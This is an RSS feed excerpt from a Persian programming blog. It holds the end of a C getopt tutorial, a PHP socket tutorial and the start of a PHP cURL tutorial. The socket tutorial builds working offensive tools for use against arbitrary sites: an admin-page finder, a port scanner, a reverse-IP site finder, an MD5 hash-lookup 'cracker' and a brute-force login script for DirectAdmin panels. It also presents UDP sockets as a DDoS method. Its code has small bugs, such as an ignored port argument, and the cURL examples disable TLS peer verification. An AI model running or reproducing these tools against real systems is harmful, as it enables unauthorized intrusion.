}خب برای اینکه getopt() برای آپشنی که نیاز به آرگومان دارد : رو برگرونه باید به اول آپشن : اضافه کنید. ماconst char * const shortOptions = &quot;ho:c&quot;;رو بهconst char * const shortOptions = &quot;:ho:c&quot;;تغییر دادیم. حالا اگر یک آپشن به آرگومان نیاز داشته باشد و وارد نشده باشد تابع : بر می گرداند و می‌توانید آن را مدیریت کنید.همچنین ما مقدار opterr صفر قرار دادیم که برنامه خودش اروری رو چاپ نکنه و مدیریتش به دست خودمون باشه.حال اگر پارامتر ورودی شبیه به بود -o hello &quot;im am here&quot; &quot;hahah&quot; چی؟ به کد زیر توجه کنید#include &lt;stdio.h&gt;
#include &lt;getopt.h&gt;
#include &lt;stdlib.h&gt; // exit()
int main(int argc,char *argv[])
{	
    const char * const shortOptions = &quot;:ho:c&quot;;	
    int nextOption;   
    opterr = 0;
    	while( (nextOption = getopt(argc,argv,shortOptions)) != -1)
    	{
    		switch(nextOption)
    		{
    		case &#039;h&#039;:
    			printf(&quot;i got h \n&quot;);
    			break;
    		case &#039;o&#039;:
    			printf(&quot;i got o with arg %s \n&quot;,optarg);
    			break;
    		case &#039;c&#039;:
    			printf(&quot;i got c with arg %s \n&quot;,optarg);
    			break;
    		case &#039;:&#039;:
    			printf(&quot;arg  %c need arg \n&quot;,optopt);
    			break;
    		case &#039;?&#039;:
    			printf(&quot;invalid arg  %c \n&quot;,optopt);
    			break;
    		default :
    			break;
    		}
    	}
    	while(optind &lt; argc)
    	{
    		printf(&quot;%s\n&quot;,argv[optind++]);
    	}
    	return 0;
    }درواقع دو پارامتر آخر اضافی هستند و جز آپشن محسوب نمی‌شوند همانطور که گفتیم optind ایندکس اولین عضو غیر آپشن رو بر میگردونه که ما با	while(optind &lt; argc)
		{
				printf(&quot;%s\n&quot;,argv[optind++]);
		}اونارو چاپ کردیم.</description>
                <category>علیرضا</category>
                <author>علیرضا</author>
                <pubDate>Fri, 26 Jan 2018 14:06:19 +0330</pubDate>
            </item>
                    <item>
                <title>آموزش سوکت نویسی در PHP</title>
                <link>https://virgool.io/coderlife/phpsocket-orp6qosllc8t</link>
                <description>درود به دوستان عزیز امیدوارم حالتون خوب باشه .در این جا قصد دارم که آموزش برنامه نویسی شبکه در php رو بهتون یاد بدم و در آخر هم چند برنامه(پیشمایش پورت, پیدا کردن صفحه ادمین,پیدا کردن سایت های روی یک سرور) رو آموزش می دم.در اینجا آموزش کار با توابع سوکت در php و ارسال و دریافت اطلاعات و .... رو یاد میگیرید .سوکت هم مانند cURL میتونید در فایل php.ini  فعال کنید که بتونید ازش استفادع کنید .این اکستنشن هم باز در ویندوز با نام php_sockets.dll و در لینوکس با نام sockets.so قابل مشاهده هست .برای فعال کردن کافیه به php.ini رفته و extension=php_sockets.dll رو پیدا کرده و ; قبل از اونو بردارید سپس وب سرور خود رو ری استارت کنید . حالا میتونید ازش استفاده کنید . با سپاسخب دوستان عزیز بریم سراغ آموزشبرای برنامه نویسی شبکه یا سوکت php توابعی متخلف و زیادی رو داره که در اینجا به آموزش و بررسی اونا می پردازیم.برای ارتباط با یک سرویس دهنده باید یک سوکتی ایجاد بشه که php توابع مختلفی رو روی ورژن های مختلف ارایه میدهتابع fsockopen(target,port,error,errstr,timeout)  برای ایجاد سوکت به یک مقصد خاص استفاده میشود.این تابع 2 آرگومان ضروری و 3 تا غیر ضروری میگیرهآرگومان اول مقصد مورد نظر هست برای مثال www.google.comOR192.168.1.1  اگر php شما opnessl رو هم ساپورت کنه میتونید به ssl هم وصل بشید .آرگومان دوم شماره پورت هست برای مثال 80 25 و ...آرگومان سوم و چهارم به روش ارجاعی به تابع وصل میشن. آرگومان آخر هم زمانی هست که میخوای روی سوکت کار بشه.تابع fscokopen() یک اشاره گر فایل بر میگردونه که میشه با توابع فایل ها مثل fputs , fgets و ... باهاش کار کرد.اگر تابع نتونه اتصالی بگیره false رو بر میگردونه که اگر هم آرگومان سوم و چهارم پر شده باشد میتونید اررور هارو بگیرید . خب بریم سراغ مثال . به کد زیر توجه کنید :$socket = fsockopen(&quot;www.bing.com&quot;,80,$errno,$errstr);if(!$socket){    echo $errstr;    exit;}$header  = &quot;GET / HTTP/1.1\r\n&quot;;$header .= &quot;Host: www.bing.com\r\n&quot;;$header .= &quot;User-Agent: &quot;.$_SERVER[&quot;HTTP_USER_AGENT&quot;].&quot;\r\n&quot;;$header .= &quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n&quot;;$header .= &quot;Connection: keep-alive\r\n\r\n&quot;;fwrite($socket,$header);while(!feof($socket))    echo fgets($socket);خب اگر کد بالارو اجرا کنید خروجی شما صفحه اول سایت bing.com خواهد بود.حالا اگر دقت کرده باشید با توجه به هدری که نوشتیم ما درخواست نمایش صفحه اول رو کرده بودیم که جواب هم مطابق میلمان بود.حال اگر صفحه خاصی رو میخواستیم ببینیم چطور ؟ برای مثال میخوایم صفحه http://www.bing.com/profile/history?FORM=Z9LH5 رو ببنیم خب کافیه این درخواستمون رو توی هدر به سوکت php بگیم.به قطعه کد زیر توجه کنید :$socket = fsockopen(&quot;www.bing.com&quot;,80,$errno,$errstr);if(!$socket){    echo $errstr;    exit;}$header  = &quot;GET /profile/history?FORM=Z9LH5 HTTP/1.1\r\n&quot;;$header .= &quot;Host: www.bing.com\r\n&quot;;$header .= &quot;User-Agent: &quot;.$_SERVER[&quot;HTTP_USER_AGENT&quot;].&quot;\r\n&quot;;$header .= &quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n&quot;;$header .= &quot;Connection: keep-alive\r\n\r\n&quot;;fwrite($socket,$header);while(!feof($socket))    echo fgets($socket);   این خط $header  = &quot;GET /profile/history?FORM=Z9LH5 HTTP/1.1\r\n&quot;; رو تغییر دادیم.حالا فرض کنید ما فقط می خواستیم ببینیم اون صفحه وجود داره یا نه (کاری که اکثر ادیمن فایندر ها انجام می دهند)خب جواب از وب سرور توی خط اول مشخص میشه و تابع fgets هم که یک خط رو میخونه پس while(!feof($socket))    echo fgets($socket);رو به   $result = fgets($socket);تغییر میدیم . حالا مقدار بازگشتی توی $result هست حالا باید مقدار رو چک کنیم. از preg_match() کمک می گیریم (آموزشش رو گذاشتم پیدا کنید) پس کد بالا رو به کد زیر تغییر میدیم$socket = fsockopen(&quot;www.bing.com&quot;,80,$errno,$errstr);if(!$socket){    echo $errstr;    exit;}$header  = &quot;GET /profile/history?FORM=Z9LH5 HTTP/1.1\r\n&quot;;$header .= &quot;Host: www.bing.com\r\n&quot;;$header .= &quot;User-Agent: &quot;.$_SERVER[&quot;HTTP_USER_AGENT&quot;].&quot;\r\n&quot;;$header .= &quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n&quot;;$header .= &quot;Connection: keep-alive\r\n\r\n&quot;;fwrite($socket,$header);$result = fgets($socket);if(preg_match(&quot;/200 OK /&quot;,$result))echo &quot;found&quot;;elseecho &quot;not found&quot;;اگر کد بالارو اجرا کنید خروجی شما found خواهد بود. (حالا برای خودتون با یک صفحه نامعتبر امتحان کنید)خب نظرتون چیه یکم کد رو پیشرفته ترش کنیم ؟ اگر وضعیت 302 بود چی ؟ ممکن هست بخوایم با توجه به مقادیر بازگشتی خاص عمل خاصی رو انجام بدیم مثلا می خوایم اگر 302 مقدار بازگشتی بود صفحه رو دنبال کنیم . خب اول بیایم کد رو بهتر کنیم برای این کار یک تابع تعریف می کنم که این کارو انجام بده .به قطعه کد زیر توجه کنید :echo load_url(&quot;www.bing.com&quot;,&quot;/profile/history?FORM=Z9LH5&quot;);function load_url($url,$page){    $socket = fsockopen($url,80,$errno,$errstr);    if(!$socket)    {        echo $errstr;        exit;    }    $header  = &quot;GET $page HTTP/1.1\r\n&quot;;    $header .= &quot;Host: $url\r\n&quot;;    $header .= &quot;User-Agent: &quot;.$_SERVER[&quot;HTTP_USER_AGENT&quot;].&quot;\r\n&quot;;    $header .= &quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n&quot;;    $header .= &quot;Connection: keep-alive\r\n\r\n&quot;;    fwrite($socket,$header);    $result = fgets($socket);    if(preg_match(&quot;/\s(\d+)\s/&quot;,$result,$number))        return $number[0];    else        return null; } کد قبل رو به کد بالا تبدیل کردم حالا یک تابع دارم یک سایت و صفحه رو میگیره و عدد بازگشتی هدر رو برام برمیگردونه.حالا می تونیم یک ادمین فایندر بنویسم.کافیه لیست سایت هارو بگیریم و صفحه هایی که قرار چک بشه و بدیم به تایع و مقدار بازگشتی رو چک کنیم.(دقت کنید اگر توی آدرس سایت http:// بود باید حذفش کنید)البته کد بالا خیلی مشکلات داره که با خلاقیت خودتون می تونید بهترش کنید و توسعه بدید. برای مثال یکی از مشکلات پیغام 302 هست که یعنی به یک صفحه دیگه ریدایرکت میشه نظرتون چیه این 302 هارو دنبال کنیم ؟به کد زیر توجه کنید:$body = load_url(&quot;google.com&quot;,&quot;/&quot;);if($body){    echo $body;}else{    echo &quot;null&quot;;}function load_url($url,$page){    $socket = fsockopen($url,80,$errno,$errstr);    if(!$socket)    {        echo $errstr;        exit;    }    $header  = &quot;GET $page HTTP/1.1\r\n&quot;;    $header .= &quot;Host: $url\r\n&quot;;    $header .= &quot;User-Agent: &quot;.$_SERVER[&quot;HTTP_USER_AGENT&quot;].&quot;\r\n&quot;;    $header .= &quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n&quot;;    $header .= &quot;Connection: keep-alive\r\n\r\n&quot;;    fwrite($socket,$header);    $result = fgets($socket);    $returnBody = &quot;&quot;;    if(preg_match(&quot;/\s(\d+)\s/&quot;,$result,$status))      {        switch($status[1])        {            case &quot;200&quot;:                while(!feof($socket))                {                    $returnBody .= fgets($socket);                }                return $returnBody;            case &quot;301&quot;:            case &quot;302&quot;:                    do                {                     $url = fgets($socket);                }while(!preg_match(&quot;/Location: (http:\/\/)?(.*)/&quot;,$url,$redirect));                 $splitUrl = explode(&quot;/&quot;,$redirect[2]);                 $url = $splitUrl[0];                 $page = &quot;/&quot;.$splitUrl[1];                 return load_url($url,$page);            default:                return $status[1];        }      }من اینو بازگشتی و به این ترتیب نوشتم شما می تونید به طریقه دیگه ای بنویسید.(توی این روش که من نوشتم کد راحت شد ولی چون بازگشتی هست خودتون بهتر می دونید اگر تعداد ریدایرکت ها زیاد بشن برنامه چطور میشه ;) )اگر دقت کرده باشید می تونید با fsockopen() برای خودتون پورت اسکنرطراحی کنید.به قطعه کد زیر توجه کنید :    $openPorts = array();    $closePorts = array();    $ip = &quot;192.168.1.1&quot;;    for($i = 20 ; $i &lt; 100 ; $i++)    {        $socket = @fsockopen($ip,$i);	if($socket)        {            $openPorts[] = $i;                    }else        {            $closePorts[] = $i;        }  	fclose($socket);    }        echo &quot;open ports : &lt;br /&gt;&quot;;    print_r($openPorts);   echo &quot;&lt;br /&gt;close ports : &lt;br /&gt;&quot;;    print_r($closePorts);با کمی خلاقیت می تونید کد های جالب تر و کاربردی تری بنویسید (اینجا قصد من نوشتن پورت اسکنر نبود چون برای پورت اسکنر تارگت می تونه روی نحوه ی کد نوشتن و حتا پروتکل و … تاثیر بزاره اینجا فقط خواستم بگم که میشه کارای جالبی کرد که دیگه بستگی به خودتون داره) خب نظرتون چیه یک md5 کرکر با یک سایت بنویسیم ؟من از  hashtoolkit.com و  md5decryption.com کمک گرفتم شما میتونید از سایت های دیگه کمک بگیرید . (مثالی بود هم برای get و هم برای post)توی cURL  هم یک نمونه می نویسیم.if(isset($_POST[&#039;submit&#039;]) &amp;&amp; isset($_POST[&#039;hash&#039;])){    $hash = $_POST[&#039;hash&#039;];    if(!empty($hash) &amp;&amp; strlen($hash) == 32)    {	md5decryption_com($hash);	hashtoolkit_com($hash);    }else    {        echo &quot;&lt;br /&gt;hash is not valid &lt;br /&gt;&quot;;    }    }else{    echo    &quot;    &lt;form action=&#039;&#039; method=&#039;post&#039;&gt;                Hash : &lt;input type=&#039;text&#039; name=&#039;hash&#039; value=&#039;&#039;&gt; &lt;br /&gt;        &lt;input type=&#039;submit&#039; name=&#039;submit&#039; value=&#039;Crack&#039;&gt;                    &lt;/form&gt;    &quot;;}
function hashtoolkit_com($hash){   $body =  get_data(&quot;hashtoolkit.com&quot;,&quot;/reverse-hash/?hash=$hash&quot;);    if(preg_match(&quot;#&lt;td class=\&quot;res\-text\&quot;&gt;\s*&lt;span&gt;(.*)&lt;/span&gt;#&quot;,$body,$find))        echo $find[1].&quot;&lt;br /&gt;&quot;;    else        echo &quot;regex not found&quot;;                   }function get_data($domain,$path){    $header =  	    &quot;GET $path HTTP/1.1\r\n&quot;.		    &quot;Host: $domain\r\n&quot;.		    &quot;User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0\r\n&quot;.		    &quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n&quot;.		    &quot;Referer: http://$domain$path\r\n&quot;.		    &quot;Connection: keep-alive\r\n\r\n&quot;;    $socket = fsockopen($domain,80,$errno,$error);    if(!$socket)	return $error;    $result = &quot;&quot;;    fwrite($socket,$header);    while(!feof($socket))	$result .= fgets($socket);    fclose($socket);    return $result;	    }function md5decryption_com($hash){    $body = post_data(&quot;md5decryption.com&quot;,&quot;/&quot;,&quot;hash=$hash&amp;submit=Decrypt+It%21&quot;);    if(preg_match(&quot;/Decrypted Text: &lt;\/b&gt;(.*)&lt;\/font&gt;/&quot;,$body,$find))        echo $find[1].&quot;&lt;br /&gt;&quot;;    else        echo &quot;regex not found&quot;;    }function post_data($domain,$path,$data){    $header =   &quot;POST $path HTTP/1.1\r\n&quot;.	        &quot;Host: $domain\r\n&quot;.	        &quot;User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0\r\n&quot;.		&quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n&quot;.		&quot;Referer: http://$domain$path\r\n&quot;.		&quot;Connection: keep-alive\r\n&quot;.		&quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;.                &quot;Content-Length: &quot;.strlen($data).&quot;\r\n\r\n&quot;.                &quot;$data\r\n&quot;;		    $socket = fsockopen($domain,80,$errno,$error);    if(!$socket)	return $error;    $result = &quot;&quot;;    fwrite($socket,$header);    while(!feof($socket))	$result .= fgets($socket);    fclose($socket);    return $result;    		}خب نظرتون چیه اون برنامه که سایت های روی سرور رو در می آورد و با cURL نوشتیم با سوکت هم بنوسیم ؟به قطعه کد زیر توجه کنید :if(isset($_POST[&#039;submit&#039;]) &amp;&amp; isset($_POST[&#039;ip&#039;])){    $ip = $_POST[&#039;ip&#039;];    if(!empty($ip))    {	find($ip);    }else    {        echo &quot;&lt;br /&gt;ip is not valid &lt;br /&gt;&quot;;    }    }else{    echo    &quot;    &lt;form action=&#039;&#039; method=&#039;post&#039;&gt;                Hash : &lt;input type=&#039;text&#039; name=&#039;ip&#039; value=&#039;&#039;&gt; &lt;br /&gt;        &lt;input type=&#039;submit&#039; name=&#039;submit&#039; value=&#039;find&#039;&gt;                    &lt;/form&gt;    &quot;;}function find($ip){    $myPattern = &quot;#&lt;cite&gt;(.*?)&lt;/cite&gt;&lt;span class#&quot;;    $cnt=1;    $nextpage=true;    $sites = array();    while($nextpage)    {	if($cnt==1)	$path=&quot;/search?q=ip%3A$ip&amp;qs=n&amp;form=QBRE&amp;pq=ip%3A$ip&amp;sc=0-0&amp;sp=-1&amp;sk=&quot;;	else	$path=&quot;/search?q=ip%3a$ip&amp;qs=n&amp;pq=ip%3a$ip&amp;sc=0-0&amp;sp=-1&amp;sk=&amp;first=$cnt&amp;FORM=PERE&quot;;    	$result = get_data(&quot;www.bing.com&quot;,&quot;$path&quot;);	if(preg_match_all($myPattern,$result,$find))	{	    $urls = preg_replace(&quot;/&lt;\/?strong&gt;/&quot;,&quot;&quot;,$find[1]);	    $sites[] = $urls;	}	if(preg_match(&quot;/class\=\&quot;sb_pagN\&quot;/&quot;,$result))	     $cnt+=10;	else	     $nextpage=false;    }}function get_data($domain,$path){    $header =  	    &quot;GET $path HTTP/1.1\r\n&quot;.		    &quot;Host: $domain\r\n&quot;.		    &quot;User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0\r\n&quot;.		    &quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n&quot;.		    &quot;Referer: http://$domain$path\r\n&quot;.		    &quot;Connection: keep-alive\r\n\r\n&quot;;    $socket = fsockopen($domain,80,$errno,$error);    if(!$socket)	return $error;    $result = &quot;&quot;;    fwrite($socket,$header);    while(!feof($socket))	$result .= fgets($socket);    fclose($socket);    return $result;	    }خب آموزش هارو یاد گرفتید فقط چندتا مثال می زنم دیگه تمومه (اگر میدونید چیز بیشتری نیاز دارید بگید بزارم)قبل از نوشتن یک برنامه بروت برای دایرکت ادیمن قبلش یه نکته ای رو بگم . ما از fsockopen() برای پروتکل tcp ip استفاده کردیم می تونید با udp هم کار کنید.به صورت زیر$fp=fsockopen(&quot;udp://127.0.0.1&quot;,13,$errno,$error);(یکی از بی شمار روش برای دی داس-حملات تکذیب سرور-)خب بریم سراغ بروت فورس ؟خب اول یک دایرکت ادمین پیدا می کنیم بعد با یوزر پاس درست وارد میشیم و هدر رو چک می کنیم و یک بار هم با یوزر پاس نادرست این کارو انجام می دیم (میشه برای تشخیص بن شدن هم این کارو تکرار کنید تا ارور هنگام بن شدن هم بتونید مدیریت کنید) بعد طبق اون الگو برنامه رو پیش می بریمخب من یک دایرکت ادیمنو لوگین کردم هدر رو نگاه کردیم شبیه زیر بود&quot;POST /CMD_LOGIN HTTP/1.1\r\n&quot;&quot;Host: TARGET \r\n&quot;&quot;User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0\r\n&quot;&quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n&quot;&quot;Referer: http://TARGET/CMD_LOGIN\r\n&quot;&quot;Connection: keep-alive\r\n&quot;&quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;&quot;referer=%2FCMD_LOGIN&amp;username=user&amp;password=pass\r\n&quot;;خب وقتی یوزر پاس درست بود خط اول هدر این بودHTTP/1.1 302 Foundاما وقتی نادرست بود به شکل زیر بودHTTP/1.1 200 OKپس من خط اول هدر رو چک می کنم اگه 302 Found که یعنی درست و اگر 200 OK یعنی غلطپس کد زیر رو نوشتمif(isset($_POST[&#039;submit&#039;]) &amp;&amp; isset($_POST[&#039;domain&#039;])){    $domain = $_POST[&#039;domain&#039;];    if(!empty($domain))    {	$user = &quot;test&quot;;	$pass = &quot;test&quot;;	if(brute_force($domain,$user,$pass,2222))	    echo &quot;haha cracked $domain user : $user pass : $pass ... &lt;br /&gt;&quot;;		        }else    {        echo &quot;&lt;br /&gt;domian is not valid &lt;br /&gt;&quot;;    }    }else{    echo    &quot;    &lt;form action=&#039;&#039; method=&#039;post&#039;&gt;                Hash : &lt;input type=&#039;text&#039; name=&#039;domain&#039; value=&#039;&#039;&gt; &lt;br /&gt;        &lt;input type=&#039;submit&#039; name=&#039;submit&#039; value=&#039;brute force&#039;&gt;                    &lt;/form&gt;    &quot;;}function brute_force($domain,$user,$pass,$port){    $data = &quot;referer=%2FCMD_LOGIN&amp;username=$user&amp;password=$pass&quot;;    $result = get_data($domain,$data,$port);    if(preg_match(&quot;/302 Found/&quot;,$result))	return true;    else	return false;}function get_data($domain,$data,$port){    $header  =  &quot;POST /CMD_LOGIN HTTP/1.1\r\n&quot;;    $header .=	&quot;Host: &quot;.$domain.&quot;\r\n&quot;;    $header .=	&quot;User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0\r\n&quot;;    $header .=	&quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n&quot;;    $header .=	&quot;Referer: http://&quot;.$domain.&quot;/CMD_LOGIN\r\n&quot;;    $header .=	&quot;Connection: keep-alive\r\n&quot;;    $header .=	&quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;    $header .=	&quot;Content-Length: &quot;.strlen($data).&quot;\r\n\r\n&quot;;    $header .=	$data.&quot;\r\n&quot;;    $socket = fsockopen($domain,4041,$errno,$error);    if(!$socket)	echo $error;        fwrite($socket,$header);    $result = fgets($socket);    fclose($socket);    return $result;	    }این واسه یک سایت بود شما می تونید توسعه بدید . (یوزر و پاس هم من اینجا یکی گذاشتم که شما باید لیست درست کنید و برنامه رو بهبود بدید و فقط هدفم نشون دادن صورت کلی برنامه بود)دوستان بحث سوکت نویسی رو همینجا خاتمه میدم اگر می دونید آموزش خاص و یا چیزایی کم بود و شما نیاز دارید بگید که ادامه بدم و براتون تهیه کنیم.سپاس</description>
                <category>علیرضا</category>
                <author>علیرضا</author>
                <pubDate>Fri, 26 Jan 2018 13:29:07 +0330</pubDate>
            </item>
                    <item>
                <title>آموزش کار با CURL در PHP</title>
                <link>https://virgool.io/coderlife/phpcurl-zfylt3vvzaxi</link>
                <description> درود دوستان عزیز با آموزش کار باد توابع CURL در PHP در خدمتتون هستم .در اینجا تلاش می کنم که آموزش هارو از مبتدی تا پیشرفته آماده کنم و قرار بدم . در واقع Curl یک بسته به صورت اکستنش هست که روی php نصب میشه.اگر در ویندوز هستید این بسته با نام php_curl.dll و اگر در لینوکس هستید با نام curl.so موجود می باشد .از طریق php.ini می تونید این بسته رو فعال کنید که بتونید ازش استفاده کنید .در آخر هم سعی می کنم چند برنامه کاربردی بنویسیم.سپاس در واقع CURL یک اکستنشن پر سرعت و قوی موجود در php  است که با استفاده از اون می تونیم اطلاعات رو مانند یک مرورگر بفرستیم و بگیرم , تغییرات درونش بدیم , فیلتر کنم و .... .با استفاده از CURL میشه برنامه هایی مثل اسکنر ها و اکسپلویت ها و ... بنویسیم .می تونم بگم که درواقع CURL 3 بخش عمده و اصلی داره .1 – تعریف و مقدار دهی اولیه initialize2 – بدنه curl که شامل اپشن ها و فیلتر ها و ... میشه3 – بستن و اتمام CURL  که هر یک رو به صورت مفصل توضیح خواهم داد .نکته : برای آموزش CURL باید php رو بلد باشد ;)خب حالا بریم سراغ کد نویسی . خب برای مقدار دهی اولیه از تابع curl_init() استفاده میشهاین تابع یک کد منبع رو بر میگردونهو می تونه آدرس لینکی که قرار هست باهاش رو کار کنیم بگیره یعنی این آرگومان اختیاری هست و میتونه چیزی داخلش نباشهمثال :$ch = curl_init();Or$ch = curl_init(“http://google.com”);هر دو درست هست .قسمت بدنه که شامل آپشن های curl می باشه با تابع curl_setopt(resoure,option,value) صورت میگیریدcurl_setopt() 3 پارامتر رو دریافت میکنهپارامتر اول کد منبعی که توسط تابع curl_init() ساخته شدهپارامتر دوم آپشن مورد نظرو پارامتر سوم مقداربرای مثال :$ch = curl_init(&quot;http://google.com&quot;);curl_setopt($ch,CURLOPT_HEADER,1);که ما در اینجا بهش میگیم که ما هدر لینک رو میخوایم دریافت کنیم . مقدار 1 رو بهش دادیمخب بعد از اینکه آپشن های مورد نظر اضافه شد باید برنامه رو اجرا کنیم که برای اجرای curl از تابعcurl_exec(resource) استفاده میشه .این تابع کد منبع رو گرفته و آپشن هاشو اجرا میکنه و همچنین موارد مورد نیاز رو بر می گردونهبرای مثال :$ch = curl_init(&quot;http://google.com&quot;);curl_setopt($ch,CURLOPT_HEADER,1);$result = curl_exec($ch);کد بالا درخواست به سایت گوگل می فرسته و هدر هار میگیره و میریزه توی متغییر $resultحال اگر echo $result بنویسیم میتونیم هدر رو مشاهده کنیم .مر حله آخر هم اتمام کار curl است که با  curl_close(resource) انجام میگیرهاین تابع کد منبع رو بع عنوان آرگومان دریافت میکنه و به اون خاتمه میده .خب اگر امتحان کرده باشید اگر کد بالا رو به صورت زیر هم می نوشتیم باز هم همون نتیجه رو می داد$ch = curl_init(&quot;http://virgool.io/@alirezamn93&quot;);curl_setopt($ch,CURLOPT_HEADER,1); curl_exec($ch);curl_close($ch);اما چرا ؟ دلیلش همون آپشن های موجود در curl هست که باید رعایت کنید.اگر می خواهید این اتفاق نیوفته باید مقدار CURLOPT_RETURNTRANSFER  را در آپشن true قرار بدید . اینطور خروجی به صورت رشته در میاد به جای اینکه مستقیم در خروجی شما ظاهر بشه.پس کد بالا رو به کد زیر تغییر می دیم$ch = curl_init(&quot;http://virgool.io/@alirezamn93&quot;);curl_setopt($ch,CURLOPT_HEADER,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$result = curl_exec($ch);curl_close($ch);حال اگر کد بالا رو اجرا کنید خرجی صفحه سفید هست . دلیلش هم اینه که دیگه مقدار بازگشی به صورت رشته شده و داخل متغییر$result  ریخته شده و حالا اگر مایل باشید روی صفحه نمایش نشان بدید باید اونو echo کنید.کد بالا رو اگر echo کنید خرجی شما علاوه بر صفحه کامل سایت هدر هم بهتون نشون میده یعنی کد بالا به ما میگه هم مقدار بازگشتی رو به صورت رشته برگردون و هم هدر سایت رو ضمیمه کن .ولی شاید شما فقط بخواهید هدر سایت رو ببینید و نیازی به محتوای اون نداشه باشید اونوقت چه باید کرد ؟خب باید از آپشن CURLOPT_NOBODY کمک بگیرید . اگر مقدار این آپشن رو true قرار بدید باعث میشه دیگه صفحه سایت (بدنه سایت) لود و بازگردانده نشود. به کد زیر توجه کنید$ch = curl_init(&quot;http://virgool.io/@alirezamn93&quot;);curl_setopt($ch,CURLOPT_HEADER,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_NOBODY,1);$result = curl_exec($ch);echo $result;curl_close($ch);اگر کد بالا رو اجرا کنید خروجی شبیه خروجی زیر مشاهده می کنیدHTTP/1.1 200 OK Date: Sun, 02 Aug 2015 08:47:45 GMT Server: Apache X-Powered-By: PHP/5.3.29 Cache-Control: private Pragma: private Set-Cookie: bb_lastvisit=1438505265; expires=Mon, 01-Aug-2016 08:47:45 GMT; path=/cc/ Set-Cookie: bb_lastactivity=0; expires=Mon, 01-Aug-2016 08:47:45 GMT; path=/cc/ Connection: close Content-Type: text/html; charset=UTF-8  نکته: خروجی بالا حاصل از اجرای کد بر روی یک دامنه دیگه است و فقط نکته قابل توجه این هست که هدر رو مشاهده می کنید.این همون چیزی هست که مثلا برای ادیمن فایندر ها و یا اسکنر ها استفاده می شود (برای برخی اهداف از این روش استفاده می شود و چون بحث ما در مورد اسکنر ها نیست توضیح بیشتر نمیدم)خب کد بالا یعنی چه ؟ یعنی آقای curl برو به سایت ۱- هدرش رو برام بیار ۲- مقدار بازگشتیت به صورت رشته باشه و مستقیم توی خروجی من چاپ نکن ۳ – بدنه سایت رو بهش نیاز ندارم و برام لود نکناگر از echo $result; استفاده نمی کردم خروجی چاپ نمیشد چون مقدار بازگشتی الان توی اون متغییر هست و هر کاری که با رشته های دیگه میشه کرد با اینم میشه انجام داد.خب اگر دقت کرده باشید سایت ما با http:// شروع می شد اگر کد بالا رو با سایتی که https:// هست اجرا کنید با کمال تعجب در خرجی چیزی نمی بینید.برای اجرای سایت های دارای https:// باید از ۲ آپشن CURLOPT_SSL_VERIFYPEER و CURLOPT_SSL_VERIFYHOST کمک بگیریم.در واقع CURLOPT_SSL_VERIFYHOST اگر مقدار ۱ رو بدیم بهش فقط گواهی  ssl رو چک میکنه و اگر ۲ رو بدیم هم گواهی رو چک میکنه و هم چک میکنه که بانام میزبان منطبق باشه.(اگر برای قسمت مهمی استفاده می کنید این گزینه رو ۲ بزارید)CURLOPT_SSL_VERIFYPEER اگرfalse باشه برای گواهی تاییده نمی گیرهخب چون بحث ما در باره نحوه کارکرد این هاست فقط در همین حد اشاره می کنیم و برای اطلاعات بیشتر درمورد این ۲ آپشن به سایت php.net رجوع کنید.خب حال کد بالا که برای http:// بود رو به کد زیر تغییر می دیم$ch = curl_init(&quot;https://google.com&quot;);curl_setopt($ch,CURLOPT_HEADER,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_NOBODY,1);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,1);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);$result = curl_exec($ch);echo $result;curl_close($ch);حال اگر کد بالا رو اجرا کنید خرجی شبیه زیر خواهید داشت.HTTP/1.1 301 Moved Permanently Location: https://www.google.com/ Content-Type: text/html; charset=UTF-8 Date: Sun, 02 Aug 2015 09:00:33 GMT Expires: Tue, 01 Sep 2015 09:00:33 GMT Cache-Control: public, max-age=2592000 Server: gws Content-Length: 220 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Alternate-Protocol: 443:quic,p=1  خب حالا به کد زیر توجه کنید.$ch = curl_init(&quot;https://google.com&quot;);curl_setopt($ch,CURLOPT_HEADER,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,1);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);$result = curl_exec($ch);echo $result;curl_close($ch);اگر کد بالا رو اجرا کنید خرجی شبیه خروجی زیر خواهید داشتHTTP/1.1 301 Moved Permanently Location: https://www.google.com/ Content-Type: text/html; charset=UTF-8 Date: Sun, 02 Aug 2015 09:09:49 GMT Expires: Tue, 01 Sep 2015 09:09:49 GMT Cache-Control: public, max-age=2592000 Server: gws Content-Length: 220 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Alternate-Protocol: 443:quic,p=1  301 MovedThe document has moved here. همانطور که میبینید صفحه سایت گوگل رو برای ما باز نکرد و دلیلش هم همون ریدارکتی بود که با هدر داشت انجام 